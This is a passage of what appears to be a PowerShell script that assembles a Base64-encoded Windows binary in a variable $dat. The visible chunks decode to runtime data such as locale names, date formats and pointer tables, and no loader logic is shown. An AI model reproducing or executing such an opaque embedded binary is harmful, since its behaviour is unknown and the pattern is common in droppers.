$dat += 'BtAHMALQAAABAAAAAAAAAAQXJlRmlsZUFwaXNBTlNJAAEAAAAQAAAAAQAAABAAAAABAAAAEAAAAAEAAAAQAAAABwAAABAAAAADAAAAEAAAAExDTWFwU3RyaW5nRXgAAAADAAAAEAAAAExvY2FsZU5hbWVUb0xDSUQAAAAAEgAAAEFwcFBvbGljeUdldFByb2Nlc3NUZXJtaW5hdGlvbk1ldGhvZAAAAAAAAAAAAAAAAADvAIABAAAABO8AgAEAAAAI7wCAAQAAAAzvAIABAAAAEO8AgAEAAAAU7wCAAQAAABjvAIABAAAAHO8AgAEAAAAk7wCAAQAAADDvAIABAAAAOO8AgAEAAABI7wCAAQAAAFTvAIABAAAAYO8AgAEAAABs7wCAAQAAAHDvAIABAAAAdO8AgAEAAAB47wCAAQAAAHzvAIABAAAAgO8AgAEAAACE7wCAAQAAAIjvAIABAAAAjO8AgAEAAACQ7wCAAQAAAJTvAIABAAAAmO8AgAEAAACg7wCAAQAAAKjvAIABAAAAtO8AgAEAAAC87wCAAQAAAHzvAIABAAAAxO8AgAEAAADM7wCAAQAAANTvAIABAAAA4O8AgAEAAADw7wCAAQAAAPjvAIABAAAACPAAgAEAAAAU8ACAAQAAABjwAIABAAAAIPAAgAEAAAAw8ACAAQAAAEjwAIABAAAAAQAAAAAAAABY8ACAAQAAAGDwAIABAAAAaPAAgAEAAABw8ACAAQAAAHjwAIABAAAAgPAAgAEAAACI8ACAAQAAAJDwAIABAAAAoPAAgAEAAACw8ACAAQAAAMDwAIABAAAA2PAAgAEAAADw8ACAAQAAAADxAIABAAAAGPEAgAEAAAAg8QCAAQAAACjxAIABAAAAMPEAgAEAAAA48QCAAQAAAEDxAIABAAAASPEAgAEAAABQ8QCAAQAAAFjxAIABAAAAYPEAgAEAAABo8QCAAQAAAHDxAIABAAAAePEAgAEAAACI8QCAAQAAAKDxAIABAAAAsPEAgAEAAAA48QCAAQAAAMDxAIABAAAA0PEAgAEAAADg8QCAAQAAAPDxAIABAAAACPIAgAEAAAAY8gCAAQAAADDyAIABAAAARPIAgAEAAABM8gCAAQAAAFjyAIABAAAAcPIAgAEAAACY8gCAAQAAALDyAIABAAAAU3VuAE1vbgBUdWUAV2VkAFRodQBGcmkAU2F0AFN1bmRheQAATW9uZGF5AAAAAAAAVHVlc2RheQBXZWRuZXNkYXkAAAAAAAAAVGh1cnNkYXkAAAAARnJpZGF5AAAAAAAAU2F0dXJkYXkAAAAASmFuAEZlYgBNYXIAQ';
$dat += 'XByAE1heQBKdW4ASnVsAEF1ZwBTZXAAT2N0AE5vdgBEZWMAAAAAAEphbnVhcnkARmVicnVhcnkAAAAATWFyY2gAAABBcHJpbAAAAEp1bmUAAAAASnVseQAAAABBdWd1c3QAAAAAAABTZXB0ZW1iZXIAAAAAAAAAT2N0b2JlcgBOb3ZlbWJlcgAAAAAAAAAARGVjZW1iZXIAAAAAQU0AAFBNAAAAAAAATU0vZGQveXkAAAAAAAAAAGRkZGQsIE1NTU0gZGQsIHl5eXkAAAAAAEhIOm1tOnNzAAAAAAAAAABTAHUAbgAAAE0AbwBuAAAAVAB1AGUAAABXAGUAZAAAAFQAaAB1AAAARgByAGkAAABTAGEAdAAAAFMAdQBuAGQAYQB5AAAAAABNAG8AbgBkAGEAeQAAAAAAVAB1AGUAcwBkAGEAeQAAAFcAZQBkAG4AZQBzAGQAYQB5AAAAAAAAAFQAaAB1AHIAcwBkAGEAeQAAAAAAAAAAAEYAcgBpAGQAYQB5AAAAAABTAGEAdAB1AHIAZABhAHkAAAAAAAAAAABKAGEAbgAAAEYAZQBiAAAATQBhAHIAAABBAHAAcgAAAE0AYQB5AAAASgB1AG4AAABKAHUAbAAAAEEAdQBnAAAAUwBlAHAAAABPAGMAdAAAAE4AbwB2AAAARABlAGMAAABKAGEAbgB1AGEAcgB5AAAARgBlAGIAcgB1AGEAcgB5AAAAAAAAAAAATQBhAHIAYwBoAAAAAAAAAEEAcAByAGkAbAAAAAAAAABKAHUAbgBlAAAAAAAAAAAASgB1AGwAeQAAAAAAAAAAAEEAdQBnAHUAcwB0AAAAAABTAGUAcAB0AGUAbQBiAGUAcgAAAAAAAABPAGMAdABvAGIAZQByAAAATgBvAHYAZQBtAGIAZQByAAAAAAAAAAAARABlAGMAZQBtAGIAZQByAAAAAABBAE0AAAAAAFAATQAAAAAAAAAAAE0ATQAvAGQAZAAvAHkAeQAAAAAAAAAAAGQAZABkAGQALAAgAE0ATQBNAE0AIABkAGQALAAgAHkAeQB5AHkAAABIAEgAOgBtAG0AOgBzAHMAAAAAAAAAAABlAG4ALQBVAFMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
$dat += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AQAAAAAAAAAABwGAAQAAAAIAAAAAAAAACAcBgAEAAAADAAAAAAAAABAHAYABAAAABAAAAAAAAAAYBwGAAQAAAAUAAAAAAAAAKAcBgAEAAAAGAAAAAAAAADAHAYABAAAABwAAAAAAAAA4BwGAAQAAAAgAAAAAAAAAQAcBgAEAAAAJAAAAAAAAAEgHAYABAAAACgAAAAAAAABQBwGAAQAAAAsAAAAAAAAAWAcBgAEAAAAMAAAAAAAAAGAHAYABAAAADQAAAAAAAABoBwGAAQAAAA4AAAAAAAAAcAcBgAEAAAAPAAAAAAAAAHgHAYABAAAAEAAAAAAAAACABwGAAQAAABEAAAAAAAAAiAcBgAEAAAASAAAAAAAAAJAHAYABAAAAEwAAAAAAAACYBwGAAQAAABQAAAAAAAAAoAcBgAEAAAAVAAAAAAAAAKgHAYABAAAAFgAAAAAAAACwBwGAAQAAABgAAAAAAAAAuAcBgAEAAAAZAAAAAAAAAMAHAYABAAAAGgAAAAAAAADIBwGAAQAAABsAAAAAAAAA0AcBgAEAAAAcAAAAAAAAANgHAYABAAAAHQAAAAAAAADgBwGAAQAAAB4AAAAAAAAA6AcBgAEAAAAfAAAAAAAAAPAHAYABAAAAIAAA';
$dat += 'AAAAAAD4BwGAAQAAACEAAAAAAAAAAAgBgAEAAAAiAAAAAAAAAAgIAYABAAAAIwAAAAAAAAAQCAGAAQAAACQAAAAAAAAAGAgBgAEAAAAlAAAAAAAAACAIAYABAAAAJgAAAAAAAAAoCAGAAQAAACcAAAAAAAAAMAgBgAEAAAApAAAAAAAAADgIAYABAAAAKgAAAAAAAABACAGAAQAAACsAAAAAAAAASAgBgAEAAAAsAAAAAAAAAFAIAYABAAAALQAAAAAAAABYCAGAAQAAAC8AAAAAAAAAYAgBgAEAAAA2AAAAAAAAAGgIAYABAAAANwAAAAAAAABwCAGAAQAAADgAAAAAAAAAeAgBgAEAAAA5AAAAAAAAAIAIAYABAAAAPgAAAAAAAACICAGAAQAAAD8AAAAAAAAAkAgBgAEAAABAAAAAAAAAAJgIAYABAAAAQQAAAAAAAACgCAGAAQAAAEMAAAAAAAAAqAgBgAEAAABEAAAAAAAAALAIAYABAAAARgAAAAAAAAC4CAGAAQAAAEcAAAAAAAAAwAgBgAEAAABJAAAAAAAAAMgIAYABAAAASgAAAAAAAADQCAGAAQAAAEsAAAAAAAAA2AgBgAEAAABOAAAAAAAAAOAIAYABAAAATwAAAAAAAADoCAGAAQAAAFAAAAAAAAAA8AgBgAEAAABWAAAAAAAAAPgIAYABAAAAVwAAAAAAAAAACQGAAQAAAFoAAAAAAAAACAkBgAEAAABlAAAAAAAAABAJAYABAAAAfwAAAAAAAAAYCQGAAQAAAAEEAAAAAAAAIAkBgAEAAAACBAAAAAAAADAJAYABAAAAAwQAAAAAAABACQGAAQAAAAQEAAAAAAAAeOYAgAEAAAAFBAAAAAAAAFAJAYABAAAABgQAAAAAAABgCQGAAQAAAAcEAAAAAAAAcAkBgAEAAAAIBAAAAAAAAIAJAYABAAAACQQAAAAAAACw8gCAAQAAAAsEAAAAAAAAkAkBgAEAAAAMBAAAAAAAAKAJAYABAAAADQQAAAAAAACwCQGAAQAAAA4EAAAAAAAAwAkBgAEAAAAPBAAAAAAAANAJAYABAAAAEAQAAAAAAADgCQGAAQAAABEEAAAAAAAASOYAgAEAAAASBAAAAAAAAGjmAIABAAAAEwQAAAAAAADwCQGAAQAAABQEAAAAAAAAAAoBgAEAAAAVBAAAAAAAABAKAYABAAAAFgQAAAAAAAAgCgGAAQAAABgEAAAAAAAAMAoBgAEAAAAZBAAAAAAAAEAKAYABAAAAGgQAAAAAAABQCgGAAQAAABsEAAAAAAAAYAoBgAEAAAAcBAAAAAAAAHAKAYABAAAAHQQAAAAAAACACgGAAQAAAB4EAAAAAAAAkAoBgAEAAAAfBAAAAAAAAKAKAYABAAAAIAQAAAAAAACwCgGAAQAAACEEAAAAAAAAwAoBgAEAAAAiBAAAAAAAANAKAYABAAAAIwQAAAAAAADgCgGAAQAAACQEAAAAAAAA8AoBgAEAAAAlBAAAAAAAAAALAYABAAAAJgQAAAAAAAAQCwGAAQAAACcEAAAAAAAAIAsBgAEAAAApBAAAAAAAADALAYABAAAAKgQAAAAAAABACwGAAQAAACsEAAAAAAAAUAsBgAE';
$dat += 'AAAAsBAAAAAAAAGALAYABAAAALQQAAAAAAAB4CwGAAQAAAC8EAAAAAAAAiAsBgAEAAAAyBAAAAAAAAJgLAYABAAAANAQAAAAAAACoCwGAAQAAADUEAAAAAAAAuAsBgAEAAAA2BAAAAAAAAMgLAYABAAAANwQAAAAAAADYCwGAAQAAADgEAAAAAAAA6AsBgAEAAAA5BAAAAAAAAPgLAYABAAAAOgQAAAAAAAAIDAGAAQAAADsEAAAAAAAAGAwBgAEAAAA+BAAAAAAAACgMAYABAAAAPwQAAAAAAAA4DAGAAQAAAEAEAAAAAAAASAwBgAEAAABBBAAAAAAAAFgMAYABAAAAQwQAAAAAAABoDAGAAQAAAEQEAAAAAAAAgAwBgAEAAABFBAAAAAAAAJAMAYABAAAARgQAAAAAAACgDAGAAQAAAEcEAAAAAAAAsAwBgAEAAABJBAAAAAAAAMAMAYABAAAASgQAAAAAAADQDAGAAQAAAEsEAAAAAAAA4AwBgAEAAABMBAAAAAAAAPAMAYABAAAATgQAAAAAAAAADQGAAQAAAE8EAAAAAAAAEA0BgAEAAABQBAAAAAAAACANAYABAAAAUgQAAAAAAAAwDQGAAQAAAFYEAAAAAAAAQA0BgAEAAABXBAAAAAAAAFANAYABAAAAWgQAAAAAAABgDQGAAQAAAGUEAAAAAAAAcA0BgAEAAABrBAAAAAAAAIANAYABAAAAbAQAAAAAAACQDQGAAQAAAIEEAAAAAAAAoA0BgAEAAAABCAAAAAAAALANAYABAAAABAgAAAAAAABY5gCAAQAAAAcIAAAAAAAAwA0BgAEAAAAJCAAAAAAAANANAYABAAAACggAAAAAAADgDQGAAQAAAAwIAAAAAAAA8A0BgAEAAAAQCAAAAAAAAAAOAYABAAAAEwgAAAAAAAAQDgGAAQAAABQIAAAAAAAAIA4BgAEAAAAWCAAAAAAAADAOAYABAAAAGggAAAAAAABADgGAAQAAAB0IAAAAAAAAWA4BgAEAAAAsCAAAAAAAAGgOAYABAAAAOwgAAAAAAACADgGAAQAAAD4IAAAAAAAAkA4BgAEAAABDCAAAAAAAAKAOAYABAAAAawgAAAAAAAC4DgGAAQAAAAEMAAAAAAAAyA4BgAEAAAAEDAAAAAAAANgOAYABAAAABwwAAAAAAADoDgGAAQAAAAkMAAAAAAAA+A4BgAEAAAAKDAAAAAAAAAgPAYABAAAADAwAAAAAAAAYDwGAAQAAABoMAAAAAAAAKA8BgAEAAAA7DAAAAAAAAEAPAYABAAAAawwAAAAAAABQDwGAAQAAAAEQAAAAAAAAYA8BgAEAAAAEEAAAAAAAAHAPAYABAAAABxAAAAAAAACADwGAAQAAAAkQAAAAAAAAkA8BgAEAAAAKEAAAAAAAAKAPAYABAAAADBAAAAAAAACwDwGAAQAAABoQAAAAAAAAwA8BgAEAAAA7EAAAAAAAANAPAYABAAAAARQAAAAAAADgDwGAAQAAAAQUAAAAAAAA8A8BgAEAAAAHFAAAAAAAAAAQAYABAAAACRQAAAAAAAAQEAGAAQAAAAoUAAAAAAAAIBABgAEAAAAMFAAAAAAAADAQAYABAAAAGhQAAAAAAABAEAGAAQAAADsUAAAAAAAAWBABgAEAAAABGAAAAAAAAGgQAYABAAAACRgAAAAAAAB4EAGAAQAAAAoYAAAAAAAAiBABgAEAAAAMGAAAAAAAAJgQAYABAAAAGhgAAAAAAACoEAGAAQAAADsYAAAAAAAAwBABgAEAAAABHAAAAAAAANAQAYABAAAACRwAAAAAAADgEAGAAQAAAAocAAAAAAAA8BABgAEAAAAaHAAAAAAAAAARAYABAAAAOxwAAAAAAAAYEQGAAQAAAAEgAA';
$dat += 'AAAAAAKBEBgAEAAAAJIAAAAAAAADgRAYABAAAACiAAAAAAAABIEQGAAQAAADsgAAAAAAAAWBEBgAEAAAABJAAAAAAAAGgRAYABAAAACSQAAAAAAAB4EQGAAQAAAAokAAAAAAAAiBEBgAEAAAA7JAAAAAAAAJgRAYABAAAAASgAAAAAAACoEQGAAQAAAAkoAAAAAAAAuBEBgAEAAAAKKAAAAAAAAMgRAYABAAAAASwAAAAAAADYEQGAAQAAAAksAAAAAAAA6BEBgAEAAAAKLAAAAAAAAPgRAYABAAAAATAAAAAAAAAIEgGAAQAAAAkwAAAAAAAAGBIBgAEAAAAKMAAAAAAAACgSAYABAAAAATQAAAAAAAA4EgGAAQAAAAk0AAAAAAAASBIBgAEAAAAKNAAAAAAAAFgSAYABAAAAATgAAAAAAABoEgGAAQAAAAo4AAAAAAAAeBIBgAEAAAABPAAAAAAAAIgSAYABAAAACjwAAAAAAACYEgGAAQAAAAFAAAAAAAAAqBIBgAEAAAAKQAAAAAAAALgSAYABAAAACkQAAAAAAADIEgGAAQAAAApIAAAAAAAA2BIBgAEAAAAKTAAAAAAAAOgSAYABAAAAClAAAAAAAAD4EgGAAQAAAAR8AAAAAAAACBMBgAEAAAAafAAAAAAAABgTAYABAAAAYQByAAAAAABiAGcAAAAAAGMAYQAAAAAAegBoAC0AQwBIAFMAAAAAAGMAcwAAAAAAZABhAAAAAABkAGUAAAAAAGUAbAAAAAAAZQBuAAAAAABlAHMAAAAAAGYAaQAAAAAAZgByAAAAAABoAGUAAAAAAGgAdQAAAAAAaQBzAAAAAABpAHQAAAAAAGoAYQAAAAAAawBvAAAAAABuAGwAAAAAAG4AbwAAAAAAcABsAAAAAABwAHQAAAAAAHIAbwAAAAAAcgB1AAAAAABoAHIAAAAAAHMAawAAAAAAcwBxAAAAAABzAHYAAAAAAHQAaAAAAAAAdAByAAAAAAB1AHIAAAAAAGkAZAAAAAAAdQBrAAAAAABiAGUAAAAAAHMAbAAAAAAAZQB0AAAAAABsAHYAAAAAAGwAdAAAAAAAZgBhAAAA';
$dat += 'AAB2AGkAAAAAAGgAeQAAAAAAYQB6AAAAAABlAHUAAAAAAG0AawAAAAAAYQBmAAAAAABrAGEAAAAAAGYAbwAAAAAAaABpAAAAAABtAHMAAAAAAGsAawAAAAAAawB5AAAAAABzAHcAAAAAAHUAegAAAAAAdAB0AAAAAABwAGEAAAAAAGcAdQAAAAAAdABhAAAAAAB0AGUAAAAAAGsAbgAAAAAAbQByAAAAAABzAGEAAAAAAG0AbgAAAAAAZwBsAAAAAABrAG8AawAAAHMAeQByAAAAZABpAHYAAAAAAAAAAAAAAGEAcgAtAFMAQQAAAAAAAABiAGcALQBCAEcAAAAAAAAAYwBhAC0ARQBTAAAAAAAAAGMAcwAtAEMAWgAAAAAAAABkAGEALQBEAEsAAAAAAAAAZABlAC0ARABFAAAAAAAAAGUAbAAtAEcAUgAAAAAAAABmAGkALQBGAEkAAAAAAAAAZgByAC0ARgBSAAAAAAAAAGgAZQAtAEkATAAAAAAAAABoAHUALQBIAFUAAAAAAAAAaQBzAC0ASQBTAAAAAAAAAGkAdAAtAEkAVAAAAAAAAABuAGwALQBOAEwAAAAAAAAAbgBiAC0ATgBPAAAAAAAAAHAAbAAtAFAATAAAAAAAAABwAHQALQBCAFIAAAAAAAAAcgBvAC0AUgBPAAAAAAAAAHIAdQAtAFIAVQAAAAAAAABoAHIALQBIAFIAAAAAAAAAcwBrAC0AUwBLAAAAAAAAAHMAcQAtAEEATAAAAAAAAABzAHYALQBTAEUAAAAAAAAAdABoAC0AVABIAAAAAAAAAHQAcgAtAFQAUgAAAAAAAAB1AHIALQBQAEsAAAAAAAAAaQBkAC0ASQBEAAAAAAAAAHUAawAtAFUAQQAAAAAAAABiAGUALQBCAFkAAAAAAAAAcwBsAC0AUwBJAAAAAAAAAGUAdAAtAEUARQAAAAAAAABsAHYALQBMAFYAAAAAAAAAbAB0AC0ATABUAAAAAAAAAGYAYQAtAEkAUgAAAAAAAAB2AGkALQBWAE4AAAAAAAAAaAB5AC0AQQBNAAAAAAAAAGEAegAtAEEAWgAtAEwAYQB0AG4AAAAAAGUAdQAtAEUAUwAAAAAAAABtAGsALQBNAEsAAAAAAAAAdABuAC0AWgBBAAAAAAAAAHgAaAAtAFoAQQAAAAAAAAB6AHUALQBaAEEAAAAAAAAAYQBmAC0AWgBBAAAAAAAAAGsAYQAtAEcARQAAAAAAAABmAG8ALQBGAE8AAAAAAAAAaABpAC0ASQBOAAAAAAAAAG0AdAAtAE0AVAAAAAAAAABzAGUALQBOAE8AAAAAAAAAbQBzAC0ATQBZAAAAAAAAAGsAawAtAEsAWgAAAAAAAABrAHkALQBLAEcAAAAAAAAAcwB3AC0ASwBFAAAAAAAAAHUAegAtAFUAWgAtAEwAYQB0AG4AAAAAAHQAdAAtAFIAVQAAAAAAAABiAG4ALQBJAE4AAAAAAAAAcABhAC0ASQBOAAAAAAAAAGcAdQAtAEkATgAAAAAAAAB0AGEALQBJAE4AAAAAAAAAdABlAC0ASQBOAAAAAAAAAGsAbgAtAEkATgAAAAAAAABtAGwALQBJAE4AAAAAAAAAbQByAC0ASQBOAAAAAAAAAHMAYQAtAEkATgAAAAAAAABtAG4ALQBNAE4AAAAAAAAAYwB5AC0ARwBCAAAAAAAAAGcAbAAtAEUAUwAAAAAAAABrAG8AawAtAEkATgAAAAAAcwB5AHIALQBTAFkAAAAAAGQAaQB2AC0ATQBWAAAAAABxAHUAegAtAEIATwAAAAAAbgBzAC0AWgBBAAAAAAAAAG';
$dat += '0AaQAtAE4AWgAAAAAAAABhAHIALQBJAFEAAAAAAAAAZABlAC0AQwBIAAAAAAAAAGUAbgAtAEcAQgAAAAAAAABlAHMALQBNAFgAAAAAAAAAZgByAC0AQgBFAAAAAAAAAGkAdAAtAEMASAAAAAAAAABuAGwALQBCAEUAAAAAAAAAbgBuAC0ATgBPAAAAAAAAAHAAdAAtAFAAVAAAAAAAAABzAHIALQBTAFAALQBMAGEAdABuAAAAAABzAHYALQBGAEkAAAAAAAAAYQB6AC0AQQBaAC0AQwB5AHIAbAAAAAAAcwBlAC0AUwBFAAAAAAAAAG0AcwAtAEIATgAAAAAAAAB1AHoALQBVAFoALQBDAHkAcgBsAAAAAABxAHUAegAtAEUAQwAAAAAAYQByAC0ARQBHAAAAAAAAAHoAaAAtAEgASwAAAAAAAABkAGUALQBBAFQAAAAAAAAAZQBuAC0AQQBVAAAAAAAAAGUAcwAtAEUAUwAAAAAAAABmAHIALQBDAEEAAAAAAAAAcwByAC0AUwBQAC0AQwB5AHIAbAAAAAAAcwBlAC0ARgBJAAAAAAAAAHEAdQB6AC0AUABFAAAAAABhAHIALQBMAFkAAAAAAAAAegBoAC0AUwBHAAAAAAAAAGQAZQAtAEwAVQAAAAAAAABlAG4ALQBDAEEAAAAAAAAAZQBzAC0ARwBUAAAAAAAAAGYAcgAtAEMASAAAAAAAAABoAHIALQBCAEEAAAAAAAAAcwBtAGoALQBOAE8AAAAAAGEAcgAtAEQAWgAAAAAAAAB6AGgALQBNAE8AAAAAAAAAZABlAC0ATABJAAAAAAAAAGUAbgAtAE4AWgAAAAAAAABlAHMALQBDAFIAAAAAAAAAZgByAC0ATABVAAAAAAAAAGIAcwAtAEIAQQAtAEwAYQB0AG4AAAAAAHMAbQBqAC0AUwBFAAAAAABhAHIALQBNAEEAAAAAAAAAZQBuAC0ASQBFAAAAAAAAAGUAcwAtAFAAQQAAAAAAAABmAHIALQBNAEMAAAAAAAAAcwByAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGEALQBOAE8AAAAAAGEAcgAtAFQATgAAAAAAAABlAG4ALQBaAEEAAAAAAAAAZQBzAC0ARABPAAAAAAAAAHMAcgAtAEIAQQAtAEMAeQByAGwAAAAAAHMAbQBhAC0AUwBFAAAAAABhAHIALQBPAE0AAAAAAAAAZQBuAC0ASgBNAAAAAAAAAGUAcwAtAFYARQAAAAAAAABzAG0AcwAtAEYASQAAAAAAYQByAC0AWQBFAAAAAAAAAGUAbgAtAEMAQgAAAAAAAABlAHMALQBDAE8AAAAAAAAAcwBtAG4ALQBGAEkAAAAAAGEAcgAtAFMAWQAAAAAAA';
$dat += 'ABlAG4ALQBCAFoAAAAAAAAAZQBzAC0AUABFAAAAAAAAAGEAcgAtAEoATwAAAAAAAABlAG4ALQBUAFQAAAAAAAAAZQBzAC0AQQBSAAAAAAAAAGEAcgAtAEwAQgAAAAAAAABlAG4ALQBaAFcAAAAAAAAAZQBzAC0ARQBDAAAAAAAAAGEAcgAtAEsAVwAAAAAAAABlAG4ALQBQAEgAAAAAAAAAZQBzAC0AQwBMAAAAAAAAAGEAcgAtAEEARQAAAAAAAABlAHMALQBVAFkAAAAAAAAAYQByAC0AQgBIAAAAAAAAAGUAcwAtAFAAWQAAAAAAAABhAHIALQBRAEEAAAAAAAAAZQBzAC0AQgBPAAAAAAAAAGUAcwAtAFMAVgAAAAAAAABlAHMALQBIAE4AAAAAAAAAZQBzAC0ATgBJAAAAAAAAAGUAcwAtAFAAUgAAAAAAAAB6AGgALQBDAEgAVAAAAAAAcwByAAAAAAAYCQGAAQAAAEIAAAAAAAAAaAgBgAEAAAAsAAAAAAAAAGAhAYABAAAAcQAAAAAAAAAABwGAAQAAAAAAAAAAAAAAcCEBgAEAAADYAAAAAAAAAIAhAYABAAAA2gAAAAAAAACQIQGAAQAAALEAAAAAAAAAoCEBgAEAAACgAAAAAAAAALAhAYABAAAAjwAAAAAAAADAIQGAAQAAAM8AAAAAAAAA0CEBgAEAAADVAAAAAAAAAOAhAYABAAAA0gAAAAAAAADwIQGAAQAAAKkAAAAAAAAAACIBgAEAAAC5AAAAAAAAABAiAYABAAAAxAAAAAAAAAAgIgGAAQAAANwAAAAAAAAAMCIBgAEAAABDAAAAAAAAAEAiAYABAAAAzAAAAAAAAABQIgGAAQAAAL8AAAAAAAAAYCIBgAEAAADIAAAAAAAAAFAIAYABAAAAKQAAAAAAAABwIgGAAQAAAJsAAAAAAAAAiCIBgAEAAABrAAAAAAAAABAIAYABAAAAIQAAAAAAAACgIgGAAQAAAGMAAAAAAAAACAcBgAEAAAABAAAAAAAAALAiAYABAAAARAAAAAAAAADAIgGAAQAAAH0AAAAAAAAA0CIBgAEAAAC3AAAAAAAAABAHAYABAAAAAgAAAAAAAADoIgGAAQAAAEUAAAAAAAAAKAcBgAEAAAAEAAAAAAAAAPgiAYABAAAARwAAAAAAAAAIIwGAAQAAAIcAAAAAAAAAMAcBgAEAAAAFAAAAAAAAABgjAYABAAAASAAAAAAAAAA4BwGAAQAAAAYAAAAAAAAAKCMBgAEAAACiAAAAAAAAADgjAYABAAAAkQAAAAAAAABIIwGAAQAAAEkAAAAAAAAAWCMBgAEAAACzAAAAAAAAAGgjAYABAAAAqwAAAAAAAAAQCQGAAQAAAEEAAA';
$dat += 'AAAAAAeCMBgAEAAACLAAAAAAAAAEAHAYABAAAABwAAAAAAAACIIwGAAQAAAEoAAAAAAAAASAcBgAEAAAAIAAAAAAAAAJgjAYABAAAAowAAAAAAAACoIwGAAQAAAM0AAAAAAAAAuCMBgAEAAACsAAAAAAAAAMgjAYABAAAAyQAAAAAAAADYIwGAAQAAAJIAAAAAAAAA6CMBgAEAAAC6AAAAAAAAAPgjAYABAAAAxQAAAAAAAAAIJAGAAQAAALQAAAAAAAAAGCQBgAEAAADWAAAAAAAAACgkAYABAAAA0AAAAAAAAAA4JAGAAQAAAEsAAAAAAAAASCQBgAEAAADAAAAAAAAAAFgkAYABAAAA0wAAAAAAAABQBwGAAQAAAAkAAAAAAAAAaCQBgAEAAADRAAAAAAAAAHgkAYABAAAA3QAAAAAAAACIJAGAAQAAANcAAAAAAAAAmCQBgAEAAADKAAAAAAAAAKgkAYABAAAAtQAAAAAAAAC4JAGAAQAAAMEAAAAAAAAAyCQBgAEAAADUAAAAAAAAANgkAYABAAAApAAAAAAAAADoJAGAAQAAAK0AAAAAAAAA+CQBgAEAAADfAAAAAAAAAAglAYABAAAAkwAAAAAAAAAYJQGAAQAAAOAAAAAAAAAAKCUBgAEAAAC7AAAAAAAAADglAYABAAAAzgAAAAAAAABIJQGAAQAAAOEAAAAAAAAAWCUBgAEAAADbAAAAAAAAAGglAYABAAAA3gAAAAAAAAB4JQGAAQAAANkAAAAAAAAAiCUBgAEAAADGAAAAAAAAACAIAYABAAAAIwAAAAAAAACYJQGAAQAAAGUAAAAAAAAAWAgBgAEAAAAqAAAAAAAAAKglAYABAAAAbAAAAAAAAAA4CAGAAQAAACYAAAAAAAAAuCUBgAEAAABoAAAAAAAAAFgHAYABAAAACgAAAAAAAADIJQGAAQAAAEwAAAAAAAAAeAgBgAEAAAAuAAAAAAAAANglAYABAAAAcwAAAAAAAABgBwGAAQAAAAsAAAAAAAAA6CUBgAEAAACUAAAAAAAAAPglAYABAAAApQAAAAAAAAAIJgGAAQAAAK4AAAAAAAAAGCYBgAEAAABNAAAAAAAAACgmAYABAAAAtgAAAAAAAAA4JgGAAQAAALwAAAAAAAAA+AgBgAEAAAA+AAAAAAAAAEgmAYABAAAAiAAAAAAAAADACAGAAQAAADcAAAAAAAAAWCYBgAEAAAB/AAAAAAAAAGgHAYABAAAADAAAAAAAAABoJgGAAQAAAE4AAAAAAAAAgAgB